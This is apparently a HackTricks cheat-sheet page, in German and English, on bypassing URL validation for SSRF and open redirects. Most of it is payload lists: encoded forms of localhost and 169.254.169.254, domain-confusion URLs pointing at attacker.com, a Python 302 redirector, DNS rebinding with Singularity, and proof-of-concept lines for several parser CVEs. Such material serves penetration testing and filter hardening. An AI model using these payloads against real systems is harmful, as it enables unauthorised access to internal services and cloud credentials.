URL Format Bypass
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Localhost
Localhost payloads
```bash # Localhost 0 # Yes, just 0 is localhost in Linux http://127.0.0.1:80 http://127.0.0.1:443 http://127.0.0.1:22 http://127.1:80 http://127.000000000000000.1 http://0 http:@0/ --> http://localhost/ http://0.0.0.0:80 http://localhost:80 http://[::]:80/ http://[::]:25/ SMTP http://[::]:3128/ Squid http://[0000::1]:80/ http://[0:0:0:0:0:ffff:127.0.0.1]/thefile http://①②⑦.⓪.⓪.⓪CIDR bypass
http://127.127.127.127 http://127.0.1.3 http://127.0.0.0
Dot bypass
127。0。0。1 127%E3%80%820%E3%80%820%E3%80%821
Decimal bypass
http://2130706433/ = http://127.0.0.1 http://3232235521/ = http://192.168.0.1 http://3232235777/ = http://192.168.1.1
Octal Bypass
http://0177.0000.0000.0001 http://00000177.00000000.00000000.00000001 http://017700000001
Hexadecimal bypass
127.0.0.1 = 0x7f 00 00 01 http://0x7f000001/ = http://127.0.0.1 http://0xc0a80014/ = http://192.168.0.20 0x7f.0x00.0x00.0x01 0x0000007f.0x00000000.0x00000000.0x00000001
Mixed encodings bypass
169.254.43518 -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number 0xA9.254.0251.0376 -> hexadecimal, decimal and octal
Add 0s bypass
127.000000000000.1
You can also mix different encoding formats
https://www.silisoftware.com/tools/ipconverter.php
Malformed and rare
localhost:+11211aaa localhost:00011211aaaa http://0/ http://127.1 http://127.0.1
DNS to localhost
localtest.me = 127.0.0.1 customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1 mail.ebc.apple.com = 127.0.0.6 (localhost) 127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP) www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com http://customer1.app.localhost.my.company.127.0.0.1.nip.io http://bugbounty.dod.network = 127.0.0.2 (localhost) 1ynrnhl.xip.io == 169.254.169.254 spoofed.burpcollaborator.net = 127.0.0.1
</details>
.png>)
Die **Burp-Erweiterung** [**Burp-Encode-IP**](https://github.com/e1abrador/Burp-Encode-IP) implementiert IP formatting bypasses.
### Domain-Parser
<details>
<summary>Domain-Parser bypasses</summary>
```bash
https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
http://169.254.1698.254\@attacker.com
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
# double encoded fragment to bypass split("#"): attacker.com%2523@victim
Domain confusion payloads
```bash # Try also to change attacker.com for 127.0.0.1 to try to access localhost # Try replacing https by http # Try URL-encoded characters https://{domain}@attacker.com https://{domain}.attacker.com https://{domain}%6D@attacker.com https://attacker.com/{domain} https://attacker.com/?d={domain} https://attacker.com#{domain} https://attacker.com@{domain} https://attacker.com#@{domain} https://attacker.com%23@{domain} https://attacker.com%00{domain} https://attacker.com%0A{domain} https://attacker.com?{domain} https://attacker.com///{domain} https://attacker.com\{domain}/ https://attacker.com;https://{domain} https://attacker.com\{domain}/ https://attacker.com\.{domain} https://attacker.com/.{domain} https://attacker.com\@@{domain} https://attacker.com:\@@{domain} https://attacker.com#\@{domain} https://attacker.com\anything@{domain}/ https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com # colon + backslash confusion (CVE-2025-0454 in autogpt) http://localhost:\@google.com/../On each IP position try to put 1 attackers domain and the others the victim domain
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
Parameter pollution
next={domain}&next=attacker.com
</details>
### Pfad- und Dateiendungs-Bypass
Wenn verlangt wird, dass die URL mit einem Pfad oder einer Dateiendung endet oder einen Pfad enthalten muss, kannst du einen der folgenden Bypässe versuchen:
https://metadata/vulnerable/path#/expected/path https://metadata/vulnerable/path#.extension https://metadata/expected/path/..%2f..%2f/vulnerable/path
### Fuzzing
Das Tool [**recollapse**](https://github.com/0xacb/recollapse) kann aus einer gegebenen Eingabe Variationen erzeugen, um die verwendete regex zu umgehen. Weitere Informationen findest du in [**this post**](https://0xacb.com/2022/11/21/recollapse/).
### Automatic Custom Wordlists
Schau dir die [**URL validation bypass cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) von portswigger an, wo du den erlaubten Host und den des Angreifers eintragen kannst — sie generiert dann eine Liste von URLs, die du ausprobieren kannst. Sie berücksichtigt außerdem, ob du die URL in einem Parameter, im Host header oder in einem CORS header verwenden kannst.
<a class="content_ref" href="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet"><span class="content_ref_label">URL validation bypass cheat sheet for SSRF/CORS/Redirect - 2024 Edition | Web Security Academy</span></a>
### Bypass via redirect
Es kann sein, dass der Server die **filtering the original request** einer SSRF vornimmt, **but not** eine mögliche **redirect**-Antwort auf diese Anfrage.\
Zum Beispiel könnte ein Server, der für SSRF über: `url=https://www.google.com/` verwundbar ist, **filtering the url param**. Aber wenn du einen [python server to respond with a 302](https://pastebin.com/raw/ywAUhFrv) einsetzt, der auf die Stelle antwortet, zu der du weiterleiten möchtest, könntest du möglicherweise **access filtered IP addresses** wie 127.0.0.1 erreichen oder sogar gefilterte **protocols** wie gopher.\
[Check out this report.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
<details>
<summary>Einfacher Redirector für SSRF-Tests</summary>
```python
#!/usr/bin/env python3
#python3 ./redirector.py 8000 http://127.0.0.1/
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
DNS rebinding bypass (2025+)
Selbst wenn ein SSRF-Filter eine einmalige DNS-Auflösung vor dem Senden der HTTP-Anfrage durchführt, kannst du interne Hosts erreichen, indem du die Domain zwischen Auflösung und Verbindung neu bindest:
- Weisen
victim.example.comeine öffentliche IP zu, damit es die allow‑list / CIDR check besteht. - Stelle eine sehr geringe TTL bereit (oder nutze einen autoritativen Server, den du kontrollierst) und rebind die Domain auf
127.0.0.1oder169.254.169.254, kurz bevor die eigentliche Anfrage gestellt wird. - Tools wie Singularity (
nccgroup/singularity) automatisieren den autoritativen DNS- + HTTP-Server und enthalten fertige Payloads. Beispielstart:python3 singularity.py --lhost <your_ip> --rhost 127.0.0.1 --domain rebinder.test --http-port 8080.
Diese Technik wurde 2025 verwendet, um den BentoML “safe URL” Patch und ähnliche single‑resolve SSRF-Filter zu umgehen.
Explained Tricks
Backslash-trick
The backslash-trick exploits a difference between the WHATWG URL Standard and RFC3986. While RFC3986 is a general framework for URIs, WHATWG is specific to web URLs and is adopted by modern browsers. The key distinction lies in the WHATWG standard’s recognition of the backslash (\) as equivalent to the forward slash (/), impacting how URLs are parsed, specifically marking the transition from the hostname to the path in a URL.

Left square bracket
Das “left square bracket”-Zeichen [ im userinfo-Segment kann dazu führen, dass Spring’s UriComponentsBuilder einen Hostnamen zurückgibt, der sich von dem der Browser unterscheidet: https://example.com[@attacker.com
Other Confusions
.png)
Bild von https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/
IPv6 Zone Identifier (%25) Trick
Moderne URL-Parser, die RFC 6874 unterstützen, erlauben link-local IPv6-Adressen, einen zone identifier nach einem Prozentzeichen zu enthalten. Manche Sicherheitsfilter sind mit dieser Syntax nicht vertraut und entfernen nur eckig-klammerige IPv6-Literale, sodass die folgende Payload eine interne Schnittstelle erreichen kann:
http://[fe80::1%25eth0]/ # %25 = encoded '%', interpreted as fe80::1%eth0
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)
Wenn die Zielanwendung überprüft, dass der Host nicht fe80::1 ist, aber das Parsing am % stoppt, kann sie die Anfrage fälschlicherweise als extern behandeln. Normalisiere die Adresse immer vor jeder Sicherheitsentscheidung oder entferne die optionale Zonen‑ID vollständig.
Kürzliche Library‑Parsing‑CVE(s) (2022–2026)
Eine Reihe von Mainstream‑Frameworks litten an Hostname‑Mismatch‑Problemen, die für SSRF ausgenutzt werden können, sobald die URL‑Validierung mit den oben aufgeführten Tricks umgangen wurde:
| Year | CVE | Component | Bug synopsis | Minimal PoC |
|---|---|---|---|---|
| 2025 | CVE-2025-0454 | Python requests + urllib.parse (autogpt) | Uneinheitliche Parsing‑Interpretation von http://localhost:\\@google.com/../ lässt allow‑lists denken, der Host sei google.com, während die Anfrage localhost erreicht. | requests.get("http://localhost:\\@google.com/../") |
| 2025 | CVE-2025-2691 | Node package nossrf | Bibliothek, die SSRF blockieren soll, prüft nur den ursprünglichen Hostnamen, nicht die resolved IP, wodurch Hostnamen zugelassen werden, die auf private Bereiche auflösen. | curl "http://trusted.example" --resolve trusted.example:80:127.0.0.1 |
| 2024 | CVE-2024-29415 | Node ip package | isPublic() klassifizierte dotted‑octal / Kurzform‑localhost (z. B. 0127.0.0.1, 127.1) fälschlicherweise als public, sodass Filter interne Ziele akzeptierten. | ip.isPublic('0127.0.0.1') returns true on vulnerable versions |
| 2024 | CVE-2024-3095 | Langchain WebResearchRetriever | Keine Host‑Filterung; GET‑Requests konnten IMDS/localhost von AI agents erreichen. | User‑controlled URL inside WebResearchRetriever |
| 2024 | CVE-2024-22243 / ‑22262 | Spring UriComponentsBuilder | [ in userinfo wird von Spring anders geparst als von Browsern, was allow‑list‑Bypass ermöglicht. | https://example.com\[@internal |
| 2023 | CVE-2023-27592 | urllib3 <1.26.15 | Backslash‑Verwirrung erlaubte http://example.com\\@169.254.169.254/, um Host‑Filter zu umgehen, die auf @ splitten. | — |
| 2022 | CVE-2022-3602 | OpenSSL | Hostname‑Verifikation übersprungen, wenn der Name mit einem . endet (dotless‑domain‑Verwirrung). | — |
Payload‑generation helpers (2024+)
Das manuelle Erstellen großer, individueller Word‑Lists ist mühsam. Das Open‑Source‑Tool SSRF-PayloadMaker (Python 3) kann jetzt 80 k+ Host‑Mangle‑Kombinationen automatisch erzeugen, inklusive gemischter Encodings, erzwungener HTTP‑Downgrade und Backslash‑Varianten:
# Generate every known bypass that transforms the allowed host example.com to attacker.com
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt
Die resultierende Liste kann direkt in Burp Intruder oder ffuf eingespeist werden.
Referenzen
- https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md
- https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet
- https://nvd.nist.gov/vuln/detail/CVE-2024-22243
- https://github.com/hsynuzm/SSRF-PayloadMaker
- https://medium.com/%40narendarlb123/1-cve-2025-0454-autogpt-ssrf-via-url-parsing-confusion-921d66fafcbe
- https://www.tenable.com/blog/how-tenable-bypassed-patch-for-bentoml-ssrf-vulnerability-CVE-2025-54381
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


